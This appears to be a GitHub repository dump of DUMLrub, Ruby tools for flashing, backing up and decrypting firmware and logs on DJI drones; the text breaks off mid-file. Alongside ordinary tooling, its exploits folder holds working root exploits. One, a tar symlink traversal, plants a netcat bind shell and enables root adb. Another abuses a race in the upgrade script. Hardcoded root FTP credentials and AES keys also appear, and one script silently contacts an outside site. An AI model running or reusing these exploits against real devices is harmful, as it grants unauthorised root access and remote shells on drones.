├── .gitmodules ├── exploits.pub ├── ConditionedRace805_Mavic.bin ├── RedHerringLegacy.rb └── ConditionedRace.rb ├── LogJammer.rb ├── PullUpgradeLogs.rb ├── PullFtpFile.rb ├── GimmedatDAT.rb ├── RubaDubDUML.rb ├── README.md ├── BackDatAssUp.rb ├── Upgrade.rb ├── CherryPicker.rb ├── FlightController.rb └── DUML.rb /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "exploits"] 2 | path = exploits 3 | url = https://github.com/MAVProxyUser/DUMLsploit.git 4 | -------------------------------------------------------------------------------- /exploits.pub/ConditionedRace805_Mavic.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MAVProxyUser/DUMLrub/HEAD/exploits.pub/ConditionedRace805_Mavic.bin -------------------------------------------------------------------------------- /LogJammer.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | $:.unshift File.expand_path('.',__dir__) 4 | require 'PullFtpFile.rb' 5 | 6 | #puts "Please connect your DJI drone, verify the RNDIS is up, and press " 7 | #gets 8 | 9 | pullFtpFile = PullFtpFile.new 10 | 11 | log = pullFtpFile.get("/upgrade/dji/log/upgrade00.log") 12 | puts log 13 | File.open("upgrade00_logjam.txt", "w+") { |file| file.write(log) } 14 | puts "file written to upgrade00_logjam.txt" 15 | 16 | -------------------------------------------------------------------------------- /PullUpgradeLogs.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'rubygems' 4 | $:.unshift File.expand_path('.',__dir__) 5 | require 'DUML.rb' 6 | 7 | port = $*[0] 8 | if port == nil 9 | puts "Usage: PullUpgradeLogs.rb " 10 | exit 11 | end 12 | 13 | con = DUML::ConnectionSerial.new(port) 14 | @duml = DUML.new("1001", "0000", con, 5.0, false) 15 | 16 | # Probe for the correct device 17 | ["0801", "1301", "2801"].each do |d| 18 | if @duml.cmd_dev_ping("1001", d, 0.05) != nil 19 | @duml.dst = d 20 | break 21 | end 22 | end 23 | puts "dst = %s" % @duml.dst 24 | 25 | reply = @duml.cmd_common_get_cfg_file(2) 26 | if reply && reply.length > 0 27 | File.open("upgrade_logs.tar.gz", "w+") { |file| file.write(reply) } 28 | puts "Logs written to upgrade_logs.tar.gz" 29 | else 30 | puts "Failed to fetch the upgrade logs" 31 | end 32 | 33 | # vim: expandtab:ts=4:sw=4 34 | -------------------------------------------------------------------------------- /PullFtpFile.rb: -------------------------------------------------------------------------------- 1 | require 'net/ftp' 2 | require "openssl" 3 | 4 | class PullFtpFile 5 | 6 | def get(filename) 7 | decrypted_plain_test = "" 8 | ftp = Net::FTP.new('192.168.42.2') 9 | ftp.passive = true 10 | ftp.login("root","Big~9China" ) 11 | begin 12 | encodedfile = ftp.getbinaryfile(filename, nil) 13 | cipher = OpenSSL::Cipher::AES128.new(:CBC) 14 | cipher.decrypt 15 | cipher.key = "this-aes-key\x00\x00\x00\x00" 16 | cipher.iv = "0123456789abcdef" 17 | decrypted_plain_text = cipher.update(encodedfile) + cipher.final 18 | 19 | # https://github.com/MAVProxyUser/DJI_ftpd_aes_unscramble/commit/73a21718c32ee2be96fc64b9b5acf033c5626176 20 | # Ruby uses PKCS7 Padding by default, so there's no need to adjust this 21 | 22 | rescue Net::FTPPermError 23 | puts "Weird FTP problem... unable to retrieve #{filename}" 24 | end 25 | ftp.close 26 | 27 | return decrypted_plain_text 28 | end 29 | 30 | end 31 | 32 | # vim: expandtab:ts=4:sw=4 33 | -------------------------------------------------------------------------------- /exploits.pub/RedHerringLegacy.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'fileutils' 3 | $:.unshift File.expand_path('..',__dir__) 4 | require "RubaDubDUML.rb" 5 | 6 | exploit = PwnSauce.new 7 | 8 | grep = "/system/xbin/busybox touch /tmp/RedHerring.$$ 9 | /system/xbin/busybox touch /data/InYourGrill.$$ 10 | echo -n RedHerringHasFangs > /sys/class/android_usb/android0/iSerial 11 | setprop service.adb.root 1 12 | setprop service.adb.tcp.port -1 13 | setprop sys.usb.config rndis,mass_storage,bulk,acm,adb 14 | busybox devmem 0xe10093d0 8 0x40 #enable uart 15 | sleep 1 16 | adb_en.sh NonSecurePrivilege 17 | stop adbd 18 | start adbd 19 | /system/xbin/busybox nc -l -p 1234 -e /system/bin/sh" 20 | 21 | destdir = "/data/.bin" 22 | destfile = "grep" 23 | 24 | system("rm -rf symlink Burning0day.txt fireworks.tar") 25 | system("echo 'get root... Thx for all the fish P0V' > Burning0day.txt") 26 | puts "Creating the tar file" 27 | system("tar cpf fireworks.tar Burning0day.txt") 28 | puts "Making the symlinks" 29 | system("ln -s " + destdir + " symlink") 30 | puts "Adding the fireworks..." 31 | system("tar --append -f fireworks.tar symlink") 32 | system("rm -rf symlink") 33 | system("mkdir -p symlink") 34 | 35 | File.open("symlink/" + destfile , 'w') {|f| f.write(grep) } 36 | 37 | system("chmod 755 " + "symlink/" + destfile ) 38 | puts "Boom headshot!" 39 | system("tar --append -pf fireworks.tar symlink/" + destfile) 40 | 41 | ftp = Net::FTP.new('192.168.42.2') 42 | ftp.passive = true 43 | ftp.login("RedHerring","IsDaRealest!" ) 44 | puts "Logged into the FTPD" 45 | begin 46 | puts ftp.mkdir("/upgrade/.bin") 47 | puts "FTP mkdir completed" 48 | rescue Net::FTPPermError 49 | puts "Werid FTP problem... unable to mkdir /upgrade/.bin" 50 | end 51 | ftp.close 52 | 53 | 54 | exploit.pwn("/dev/tty.usbmodem1445", "fireworks.tar", "nfz") 55 | 56 | system("rm -rf symlink Burning0day.txt fireworks.tar") 57 | 58 | -------------------------------------------------------------------------------- /GimmedatDAT.rb: -------------------------------------------------------------------------------- 1 | require 'net/ftp' 2 | require "openssl" 3 | require "base64" 4 | include Base64 5 | 6 | #puts "Please connect your DJI drone, verify the RNDIS is up, and press " 7 | #gets 8 | 9 | puts "Only Compatiable with DAT files not on FC (i.e. > Mavic 01.04.000)" 10 | puts "---------------------" 11 | ftp = Net::FTP.new('192.168.42.2') 12 | ftp.passive = true 13 | ftp.read_timeout = 300 14 | ftp.login("HDnesgotyoshit","gimmedatDAT" ) 15 | puts "Logged into the FTP" 16 | puts "---------------------" 17 | 18 | files = ftp.chdir('blackbox/flyctrl') 19 | files = ftp.nlst 20 | 21 | index = 0 22 | files.each do |i| 23 | puts "[" + index.to_s + "]: " + i 24 | index += 1 25 | end 26 | 27 | puts "---------------------" 28 | puts "Select DAT file to be pulled:" 29 | print "[#?]: " 30 | input = gets 31 | file_selected = files[input.to_i] 32 | file_selected = file_selected.to_s 33 | 34 | begin 35 | 36 | filename = "/blackbox/flyctrl/" + file_selected 37 | puts "Grabbing DAT file" 38 | puts "Downloading DAT file: #{filename} to memory" 39 | encodedfile = ftp.getbinaryfile(filename,nil) 40 | cipher = OpenSSL::Cipher::AES128.new(:CBC) 41 | cipher.decrypt 42 | cipher.key = "this-aes-key\x00\x00\x00\x00" 43 | #cipher.key = "\x59\x50\x31\x4E\x61\x67\x37\x5A\x52\x26\x44\x6A\x00\x00\x00\x00" 44 | cipher.iv = "0123456789abcdef" 45 | decrypted_plain_text = cipher.update(encodedfile) + cipher.final 46 | 47 | # https://github.com/MAVProxyUser/DJI_ftpd_aes_unscramble/commit/73a21718c32ee2be96fc64b9b5acf033c5626176 48 | # Ruby uses PKCS7 Padding by default, so there's no need to adjust this 49 | 50 | #puts decrypted_plain_text 51 | File.open(file_selected, "w+") { |file| file.write(decrypted_plain_text) } 52 | puts "file written to " + file_selected 53 | 54 | rescue Net::FTPPermError 55 | puts "Weird FTP problem... unable to retrieve the DAT file" 56 | end 57 | ftp.close 58 | 59 | 60 | -------------------------------------------------------------------------------- /RubaDubDUML.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # RubaDubDUML.rb - tool to push DJI firmware files to P4, Spark, I2, or Mavic 3 | # Props to hdnes, for his start on pyduml, from which this was based. 4 | # 5 | # To debug (via root access) use: busybox tail -f /ftp/upgrade/dji/log/upgrade00.log 6 | # 7 | # To execute: 8 | # Run from command line 9 | # $ ruby RubaDubDUML.rb /dev/tty.usbmodem1445 dji_system.bin 10 | # 11 | # Or import into your ruby code. 12 | # irb(main):002:0> require "./RubaDubDUML.rb" 13 | # imported code 14 | # => true 15 | # irb(main):003:0> exploit = PwnSauce.new 16 | # => # 17 | # irb(main):004:0> exploit.pwn("/dev/tty.usbmodemXX", "dji_system.bin") 18 | 19 | require 'rubygems' 20 | require 'net/http' 21 | $:.unshift File.expand_path('.',__dir__) 22 | require 'Upgrade.rb' 23 | 24 | class PwnSauce 25 | 26 | def pwn(port_str, filename, type) 27 | 28 | # TODO: Add windows device check 29 | 30 | # Product ID: 0x001f 31 | # Vendor ID: 0x2ca3 32 | devicecheck = %x[/usr/sbin/system_profiler SPUSBDataType | grep "DJI:" -A19] 33 | 34 | if devicecheck.include? "2ca3" 35 | puts "found DJI Aircraft\n" 36 | else 37 | puts "Plug in your drone... and try again\n" 38 | #exit 39 | end 40 | 41 | # Auto Find serial? 42 | # Product ID: 0x001f 43 | # Vendor ID: 0x2ca3 44 | # Version: ff.ff 45 | # Serial Number: 0123456789ABCDEF 46 | # Speed: Up to 480 Mb/sec 47 | # Manufacturer: DJI 48 | # Location ID: 0x14300000 / 18 49 | # you can find this via # system_profiler SPUSBDataType 50 | # 51 | # sh-3.2# ls -al /dev/tty.usbmodem1435 52 | # crw-rw-rw- 1 root wheel 19, 46 Jul 12 23:40 /dev/tty.usbmodem1435 53 | # note the 0x143... and usbmodem143... 54 | 55 | puts "Connecting to serial: #{port_str}" 56 | begin 57 | connection = DUML::ConnectionSerial.new(port_str) 58 | rescue Errno::EBUSY 59 | puts "close all apps like Assistant 2 that are connected to your drone." 60 | exit 61 | end 62 | 63 | puts "To debug, if you have root: busybox tail -f /ftp/upgrade/dji/log/upgrade00.log | grep -v sys_up_status_push_threa" 64 | 65 | upgrade = Upgrade.new("dji_system.bin", 0x2a, 0x28, 2, 4, connection, false) 66 | upgrade.go 67 | 68 | Net::HTTP.start("www.openpilotlegacy.org") do |http| resp = http.get("/RubaDubDUML.txt") end # Old Beta Release Leak Control... you can remove this 69 | end 70 | 71 | end 72 | 73 | # Check if run from command line, or as an import 74 | if __FILE__ == $0 75 | puts "Running: #{$0} from command line" 76 | puts "Using: #{$*[0]} for serial port" 77 | exploit = PwnSauce.new 78 | exploit.pwn("#{$*[0]}", "#{$*[1]}", "") 79 | else 80 | puts "imported RubaDubDUML code" 81 | end 82 | 83 | # vim: expandtab:ts=4:sw=4 84 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DUMLrub 2 | Ruby port of PyDUML 3 | 4 | Main executables: 5 | ``` 6 | BackDatAssUp.rb - This mimics the "backup" button inside DUMLdore, with a bit more rigorous checks on structure. 7 | CherryPicker.rb - Tool to "reroll" firmware binaries with specific modules selected. 8 | LogJammer.rb - Standalone tool for reading upgrade00.log 9 | RubaDubDUML.rb - analog of pyduml.py, used for pushing firmware binaries over serial via DUML protocol 10 | ``` 11 | Git Submodule repos: 12 | ``` 13 | exploits - folder contains public and private exploits such as RedHerring converted to use RubaDubDUML as a library 14 | firm_cache - individual firmware modules from DJI firmware 15 | bins - dji_system.bin stash 16 | ``` 17 | 18 | Awwwww it feels soooooo good. 19 | 20 | Rub-a-dub-dub, 21 | Three men in a tub, 22 | And who do you think they be? 23 | 24 | The butcher, the baker, the candlestick maker, 25 | Turn them out, knaves all three 26 | 27 | https://en.wikipedia.org/wiki/Rub-a-dub-dub 28 | 29 | ![feels good](https://media1.giphy.com/media/iCOrqDgajehbi/giphy.gif) 30 | 31 | ### #DeejayeyeHackingClub information repos aka "The OG's" (Original Gangsters) 32 | 33 | http://dji.retroroms.info/ - "Wiki" 34 | 35 | https://github.com/fvantienen/dji_rev - This repository contains tools for reverse engineering DJI product firmware images. 36 | 37 | https://github.com/Bin4ry/deejayeye-modder - APK "tweaks" for settings & "mods" for additional / altered functionality 38 | 39 | https://github.com/hdnes/pyduml - Assistant-less firmware pushes and DUMLHacks referred to as DUMBHerring when used with "fireworks.tar" from RedHerring. DJI silently changes Assistant? great... we will just stop using it. 40 | 41 | https://github.com/MAVProxyUser/P0VsRedHerring - RedHerring, aka "July 4th Independence Day exploit", "FTPD directory transversal 0day", etc. (Requires Assistant). We all needed a public root exploit... why not burn some 0day? 42 | 43 | https://github.com/MAVProxyUser/dji_system.bin - Current Archive of dji_system.bin files that compose firmware updates referenced by MD5 sum. These can be used to upgrade and downgrade, and root your I2, P4, Mavic, Spark, Goggles, and Mavic RC to your hearts content. (Use with pyduml or DUMLDore) 44 | 45 | https://github.com/MAVProxyUser/firm_cache - Extracted contents of dji_system.bin, in the future will be used to mix and match pieces of firmware for custom upgrade files. This repo was previously private... it is now open. 46 | 47 | https://github.com/MAVProxyUser/DUMLrub - Ruby port of PyDUML, and firmware cherry picking tool. Allows rolling of custom firmware images. 48 | 49 | https://github.com/jezzab/DUMLdore - Even windows users need some love, so DUMLDore was created to help archive, and flash dji_system.bin files on windows platforms. 50 | 51 | https://github.com/MAVProxyUser/DJI_ftpd_aes_unscramble - DJI has modified the GPL Busybox ftpd on Mavic, Spark, & Inspire 2 to include AES scrambling of downloaded files... this tool will reverse the scrambling 52 | 53 | https://github.com/darksimpson/jdjitools - Java DJI Tools, a collection of various tools/snippets tied in one CLI shell-like application. 54 | -------------------------------------------------------------------------------- /exploits.pub/ConditionedRace.rb: -------------------------------------------------------------------------------- 1 | # Classic race condition exploitation complements of DJI Devs, exploited and brought to you by hostile 2 | # 3 | # 01-01 00:13:48.907 235 25696 I DUSS&63[sys_upgrade_up_from_scri:3200]:: busybox tar -xvf /data/upgrade/temp.zip -C /data/upgrade exit status 256, return 1 4 | # 01-01 00:13:48.908 235 25696 I DUSS&63[sys_upgrade_up_from_scri:3202]:: busybox tar -xvf /data/upgrade/temp.zip -C /data/upgrade error, retry_count=0 5 | # 01-01 00:13:48.908 235 25696 I DUSS&63[sys_up_cleanup_disk_spac: 118]:: cleanup disk space of data 6 | # (long pause) 7 | # 01-01 00:13:53.712 235 25696 I DUSS&63[sys_upgrade_up_from_scri:3238]:: cd /data/upgrade; chmod 777 upgrade.sh; ./upgrade.sh exit status 0, return 0 8 | # 01-01 00:13:53.712 235 25696 I DUSS&63[sys_upgrade_up_from_scri:3246]:: cd /data/upgrade; chmod 777 upgrade.sh; ./upgrade.sh success. 9 | # 01-01 00:13:53.833 235 385 E DUSS&63[sys_up_status_push_threa:1012]:: Sending upgrade status to app_host 0xa01 failed, result=-1002 10 | # 01-01 00:13:53.834 235 385 I DUSS&63[sys_up_status_push_threa:1039]:: more data 17 bytes left 11 | # 01-01 00:13:53.839 235 385 I DUSS&63[sys_up_status_push_threa: 993]:: +++++++ Sending upgrade status 12 | # 13 | # You WILL want to watch the log file either via root, or with LogJammer... this does NOT work every time. 14 | # If you don't win the race... try again! 15 | # 16 | # A won race looks like this (note the presence of the RaceCondition file) 17 | 18 | # -rw------- 1 0 0 16 Jan 1 00:05 RaceCondition 19 | # drwx------ 2 0 0 4096 Jan 1 00:01 backup 20 | # -rw-rw-r-- 1 1000 10 16 Jun 14 09:40 cnn_model.tar 21 | # drwx------ 2 0 0 4096 Jan 1 00:00 incomptb 22 | # -rwxrwxr-x 1 1000 10 16 Jun 14 09:40 libcnn.so 23 | # -rw-rw-r-- 1 1000 10 16 Jun 14 09:40 marker.tar 24 | # drwxr-xr-x 2 0 0 4096 Jan 1 00:01 signimgs 25 | # -rw------- 1 0 0 2064 Jan 1 00:01 temp.zip 26 | # -rw------- 1 0 0 112 Jan 1 00:01 upgrade.sh 27 | # -rw-rw-r-- 1 1000 10 16 Jun 14 09:40 upgrade_flag 28 | # -rw------- 1 0 0 6000 Jan 1 00:05 wm330_0000.cfg.sig 29 | # total 1508 30 | 31 | 32 | require 'net/ftp' 33 | require 'zlib' 34 | 35 | $:.unshift File.expand_path('..',__dir__) 36 | require "RubaDubDUML.rb" 37 | exploit = PwnSauce.new 38 | 39 | race = "busybox touch /data/RaceCondition 40 | busybox touch /ftp/upgrade/upgrade/RaceCondition 41 | busybox reboot" 42 | 43 | File.open("upgrade.sh" , 'w+') {|f| f.write(race) } 44 | %x[zip temp.zip upgrade.sh] 45 | #%x[tar cvf temp.zip upgrade.sh] 46 | 47 | ftp = Net::FTP.new('192.168.42.2') 48 | ftp.passive = true 49 | ftp.login("Race","Condition" ) 50 | puts "Logged into the FTPD... pounding its bung hole..." 51 | 52 | upgradeshell = File.new("upgrade.sh") 53 | tempzip = File.new("temp.zip") 54 | ftp.chdir("/upgrade/upgrade/") 55 | #ftp.delete("RaceCondition") 56 | 57 | # Use CherryPicker.rb to generate a dji_system.bin file with ONLY an 0805 module in it 58 | exploit.pwn(ARGV[0], "ConditionedRace805_Mavic.bin", "") 59 | 60 | loop do 61 | begin 62 | # ftp.putbinaryfile(tempzip, "temp.zip") 63 | ftp.putbinaryfile(upgradeshell, "upgrade.sh") 64 | finish = ftp.ls("/upgrade/upgrade/") 65 | puts "--------" 66 | puts finish 67 | 68 | if finish.to_s.include?("RaceCondition") 69 | puts "You fucking won!" 70 | exit 71 | end 72 | 73 | rescue Exception => e 74 | puts "The Race is over... if you can see /ftp/upgrade/upgrade/RaceCondition then you won!" 75 | File.unlink("upgrade.sh") 76 | File.unlink("temp.zip") 77 | exit 78 | end 79 | end 80 | ftp.close 81 | 82 | 83 | -------------------------------------------------------------------------------- /BackDatAssUp.rb: -------------------------------------------------------------------------------- 1 | require 'minitar' 2 | require 'nokogiri' 3 | require "openssl" 4 | require "base64" 5 | include Base64 6 | require "net/ftp" 7 | require 'zlib' 8 | require 'archive/tar/minitar' 9 | #include Archive::Tar 10 | 11 | # Drop upgrade package. 12 | ftp = Net::FTP.new('192.168.42.2') 13 | ftp.passive = true 14 | ftp.login("BackDatAssUp","IsDaRealest!" ) 15 | puts "Logged into the FTPD" 16 | begin 17 | puts "Snagging firmware backup files..." 18 | ftp.chdir("/upgrade/upgrade/backup/") 19 | puts "List of files to be downloaded:" 20 | filenames = ftp.nlst() 21 | filenames.tap{|s| s.compact}.delete_if {|s| s =~ /\.tmp/} 22 | 23 | p filenames 24 | 25 | FileUtils.mkdir_p("backup") 26 | filenames.each{|filename| 27 | puts "Downloading file: #{filename} to memory" 28 | encodedfile = ftp.getbinaryfile(filename,nil) 29 | cipher = OpenSSL::Cipher::AES128.new(:CBC) 30 | cipher.decrypt 31 | cipher.key = "\x74\x68\x69\x73\x2d\x61\x65\x73\x2d\x6b\x65\x79\x00\x00\x00\x00" 32 | cipher.iv = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 33 | decrypted_plain_text = cipher.update(encodedfile) + cipher.final 34 | 35 | # https://github.com/MAVProxyUser/DJI_ftpd_aes_unscramble/commit/93537fdec26435537399ea8595e0eee8725f5759 36 | # undo the weird xor stuff that DJI does to try and beat us 37 | 38 | puts "reversing odd DJI XOR bytes" 39 | bytes = decrypted_plain_text.bytes.to_a 40 | 0.upto(9) do |i| 41 | bytes[i] ^= 0x30 + i 42 | end 43 | 10.upto(15) do |i| 44 | bytes[i] ^= 0x57 + i 45 | end 46 | 47 | # https://github.com/MAVProxyUser/DJI_ftpd_aes_unscramble/commit/73a21718c32ee2be96fc64b9b5acf033c5626176 48 | # Ruby uses PKCS7 Padding by default, so there's no need to adjust this 49 | 50 | #puts bytes.pack('c*') 51 | puts "Writing file: backup/#{filename}" 52 | File.open("backup/#{filename}", "w+") { |file| file.write(bytes.pack('c*')) } 53 | } 54 | rescue Net::FTPPermError 55 | puts "Weird FTP problem... unable to put the firmware .bin file" 56 | end 57 | ftp.close 58 | 59 | # Seek in 480 bytes and look for XML header (then skip it) 60 | # 000001e0: 3c3f 786d 6c20 7665 7273 696f 6e3d 2231 ") 64 | config_sig = config_sig[startxml..-24] # Windows tosses an error about range() here. 65 | 66 | # Extract DJI firmware XML structure 67 | firmwarepackage = Nokogiri::XML(config_sig) 68 | firmwarepackage_version = firmwarepackage.xpath('/dji/device/firmware/release').first['version'] 69 | puts "Firmware version inside cfg.sig in remote backup folder confirmed as #{firmwarepackage_version}" 70 | 71 | missing = Array.new 72 | 73 | # validate the MD5's of the downloaded module files before tarring them up. 74 | firmwarepackage.xpath('/dji/device/firmware/release/module').each {|node| 75 | filename = node.text() 76 | if filename.include? ".cfg.sig" 77 | next 78 | end 79 | 80 | begin 81 | if node['md5'] == Digest::MD5.file("backup/#{filename}").hexdigest 82 | puts "File #{filename} MD5 matches .cfg.sig " + Digest::MD5.file("backup/#{filename}").hexdigest 83 | else 84 | puts "Mismatch MD5s: " + node['md5'] + "->" + Digest::MD5.file("backup/#{filename}").hexdigest 85 | end 86 | rescue Errno::ENOENT 87 | missing << filename 88 | end 89 | } 90 | 91 | if missing != [] 92 | puts "Warning: Files #{missing} exist in the cfg.sig, but were not in the backup folder on the connected drone" 93 | end 94 | 95 | FileUtils.cd("backup") 96 | File.open('../dji_system.bin', 'wb') { |tar| 97 | Minitar.pack(filenames, tar) 98 | } 99 | 100 | filenames.each{|file| 101 | File.unlink(file) 102 | } 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /Upgrade.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'rubygems' 4 | require 'rubygems/package' 5 | require 'net/ftp' 6 | require 'digest' 7 | require 'colorize' 8 | $:.unshift File.expand_path('.',__dir__) 9 | require 'DUML.rb' 10 | 11 | class Upgrade 12 | def initialize(filename = "dji_system.bin", src = 0x2a, dst = 0x28, path = 2, type = 4, connection = nil, debug = false) 13 | @filename = filename 14 | if not File.file?(@filename) 15 | raise "#{@filename} doesn't exists" 16 | end 17 | @data = File.read(@filename).unpack("C*") 18 | @duml = DUML.new(src, dst, connection, 1.0, debug) 19 | @path = path 20 | @type = type 21 | @debug = debug 22 | end 23 | 24 | def upgrade_status(msg) 25 | case msg.payload[0] 26 | when 1 27 | print " Upgrade not yet started\r" 28 | when 3 29 | print " Upgrade in progress: %2d %%\r" % msg.payload[1] 30 | when 4 31 | puts "Upgrade complete, status %02x %02x" % [ msg.payload[1], msg.payload[2] ] 32 | #@duml.cmd_stop_push() <-- Can't do this from this context, it locks up the read thread. 33 | @done = true 34 | end 35 | puts if @debug 36 | $stdout.flush 37 | end 38 | 39 | def go 40 | @done = false; 41 | 42 | # Register a callback to get upgrade progress notification 43 | @duml.register_handler(0x00, 0x42) do |msg| upgrade_status(msg); end 44 | 45 | devinfo = @duml.cmd_query_device_info() 46 | if devinfo.nil? 47 | puts "There is no devinfo reply!?" 48 | else 49 | puts ("Talking to: " + devinfo.yellow) 50 | end 51 | version = @duml.cmd_dev_ver_get()[:full] 52 | if version.nil? 53 | puts "There is no version reply!?" 54 | else 55 | puts (" " + version.yellow) 56 | end 57 | 58 | # Get the cfg.sig file of the last upgrade to parse out the version string. 59 | # It's a full-featured IM*H file, but I got lazy and just regex'ed the version string out of it... 60 | reply = @duml.cmd_common_get_cfg_file(1) 61 | puts (" " + reply.scan( //).first.last).yellow 62 | 63 | # Here we go... 64 | @duml.cmd_enter_upgrade_mode() 65 | 66 | # Request upgrade progress notifications 67 | @duml.cmd_report_status() 68 | 69 | reply = @duml.cmd_upgrade_data(@data.length, @path, @type) 70 | if reply == nil 71 | puts "Error...".red 72 | exit 73 | elsif reply[:ftp] == true 74 | ftp_transfer_file(reply[:address], reply[:port], reply[:targetfile]) 75 | else 76 | duml_transfer_file(reply[:transfer_size]) 77 | end 78 | 79 | md5 = Digest::MD5.new 80 | md5 << File.read(@filename) 81 | @duml.cmd_finish_upgrade_data(md5.digest.unpack("C*")) 82 | 83 | # Sleep until the progress callback tells us we're done. 84 | # TODO: a timeout would be nice... 85 | # TODO: a condition/wait would be also be nicer than a sleep() in a loop... 86 | loop do 87 | sleep(1) 88 | break if @done 89 | end 90 | 91 | # We no longer need the upgrade progress notifications 92 | @duml.cmd_stop_push() 93 | 94 | # Read out the version after the upgrade. 95 | reply = @duml.cmd_common_get_cfg_file(1) 96 | puts ("Currently running: " + reply.scan( //).first.last).yellow 97 | end 98 | 99 | def ftp_transfer_file(address, port, targetfile) 100 | puts "Transfering upgrade data over ftp: %s:%d -> %s" % [ address, port, targetfile ] 101 | ftp = Net::FTP.new(address, port) 102 | ftp.passive = true 103 | ftp.login("root", "Big~9China") 104 | begin 105 | firmware = File.new(@filename) 106 | ftp.putbinaryfile(firmware, targetfile) 107 | rescue Net::FTPPermError 108 | puts "FTP Error" 109 | end 110 | ftp.close 111 | end 112 | 113 | def duml_transfer_file(max_transfer_size) 114 | puts "Transferring upgrade data over duml messages" 115 | left = @data.length 116 | max_transfer_size = max_transfer_size[0] 117 | index = 0 118 | while left > 0 119 | transfer = [ left, max_transfer_size ].min 120 | @duml.cmd_transfer_upgrade_data(index, @data[index * max_transfer_size, transfer]) 121 | 122 | index += 1 123 | left -= transfer 124 | end 125 | puts "File Sent" 126 | end 127 | end 128 | 129 | def upgrade_file_info(path) 130 | f = File.new(path) 131 | t = Gem::Package::TarReader.new(f) 132 | t.each() do |entry| 133 | name = entry.full_name() 134 | if name.match( /\.cfg\.sig$/ ) 135 | data = entry.read() 136 | device_id = data.scan( //).first.last 137 | formal_version = data.scan( //).first.last 138 | 139 | return device_id, formal_version 140 | end 141 | end 142 | return nil, nil 143 | end 144 | 145 | if __FILE__ == $0 146 | # debugging 147 | 148 | dev, ver = upgrade_file_info("dji_system.bin") 149 | puts "%s -> %s" % [ dev, ver ] 150 | 151 | #con = DUML::Connection.new 152 | #con = DUML::ConnectionSocket.new("localhost", 19003) 153 | #con = DUML::ConnectionSocket.new("192.168.1.1", 19003) 154 | con = DUML::ConnectionSerial.new(ARGV[0]) 155 | 156 | #aircraft = Upgrade.new("dji_system.bin", 0x2a, 0x28, 2, 4, con, false) 157 | #aircraft.go 158 | mavic_rc = Upgrade.new("dji_system.bin", 0x2a, 0x2d, 2, 4, con, false) 159 | mavic_rc.go 160 | #googles = Upgrade.new("dji_system.bin", 0x2a, 0x3c, 2, 4, con, false) 161 | #spark_rc = Upgrade.new("fw.tar", 0x02, 0x1b, 1, 4, con, false) 162 | #spark_rc.go 163 | end 164 | 165 | # vim: expandtab:ts=4:sw=4 166 | -------------------------------------------------------------------------------- /CherryPicker.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | # gem install nokogiri -v '1.6.7.2' -- --with-xml2-include=/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.11.sdk/usr/include/libxml2 --use-system-libraries 3 | # 4 | require 'nokogiri' 5 | require 'rubygems' 6 | require 'highline/import' 7 | require 'fileutils' 8 | 9 | # model numbers 10 | models = Hash.new() 11 | models['wm100'] = 'Spark' 12 | models['wm220'] = 'Mavic' 13 | models['wm220_gl'] = 'Goggles' 14 | models['GL200A'] = 'GL200A' # Mavic Controller 15 | models['wm330'] = 'P4' 16 | models['wm331'] = 'P4P' 17 | models['wm620'] = 'Inspire2' 18 | name = "" 19 | firmware = "" 20 | cfg = "" 21 | 22 | if ARGV[0] == nil 23 | # Use for-loop on keys. 24 | for key in models.keys() 25 | puts "#{key} -> #{models[key]}" 26 | end 27 | 28 | puts "Enter your drone: " 29 | name = $stdin.gets.chomp 30 | puts "Using drone type: #{name}" 31 | else 32 | puts "Using drone type: #{ARGV[0]}" 33 | name = ARGV[0] 34 | end 35 | 36 | puts "Name is: #{name}" 37 | 38 | if ARGV[1] == nil 39 | puts "Available firmware versions:" 40 | FileUtils.cd("firm_cache") 41 | Dir.glob("cfgs/V*/*.cfg.sig") {|file| 42 | if file.include?(models[name]) 43 | puts "- " + file.split('_')[0].split('/')[1] 44 | end 45 | } 46 | puts "Enter desired firmware: " 47 | firmware = $stdin.gets.chomp 48 | puts "Using firmware: #{firmware}" 49 | else 50 | puts "Using firmware: #{ARGV[1]}" 51 | firmware = ARGV[1] 52 | end 53 | 54 | # This should only be one file 55 | Dir.glob("cfgs/#{firmware}_#{models[name]}_dji_system/*.cfg.sig") {|file| 56 | cfg = "#{file}" 57 | } 58 | 59 | puts "Using config file: #{cfg}" 60 | 61 | # Seek in 480 bytes and look for XML header (then skip it) 62 | # 000001e0: 3c3f 786d 6c20 7665 7273 696f 6e3d 2231 ") 65 | config_sig = config_sig[startxml..-24] 66 | 67 | firmwarepackage = Nokogiri::XML(config_sig) 68 | firmwarepackage_version = firmwarepackage.xpath('/dji/device/firmware/release').first['version'] 69 | puts "Firmware version inside package confirmed as #{firmwarepackage_version}" 70 | 71 | sigfiles = Array.new 72 | handrolled = Array.new 73 | puts "Found update for: " 74 | firmwarepackage.xpath('/dji/device/firmware/release/module').each do |firmware_module| 75 | # Known type's 76 | # ca02 - 77 | # cd01 - 78 | # cd02 - 79 | # cd03 - 80 | # gb01 - 81 | # gb02 - 82 | # ln01 - 83 | # ln02 - 84 | 85 | sig = "#{firmware_module['group']}_module id:#{firmware_module['id']} version:#{firmware_module['version']}" 86 | # Known group's 87 | # ac - AirCraft 88 | # gl - GroundLink (Goggles, Mavic RC) 89 | # rc - RemoteController 90 | 91 | if "#{firmware_module['type']}" != "" 92 | sig = sig + " group: #{firmware_module['type']}" 93 | end 94 | 95 | sigfiles << [firmware_module.text(), sig, "md5:#{firmware_module['md5']}" ] 96 | 97 | end 98 | 99 | sigfiles << "Done. (roll the tar)" 100 | 101 | loop do 102 | taritup = false 103 | choose do |menu| 104 | menu.shell = true 105 | menu.prompt = 'Please choose the .fw.sigs you wish to include:' 106 | menu.choices(*sigfiles) do |chosen| 107 | if "#{chosen}" == "Done. (roll the tar)" 108 | puts "tar it up now!" 109 | taritup = 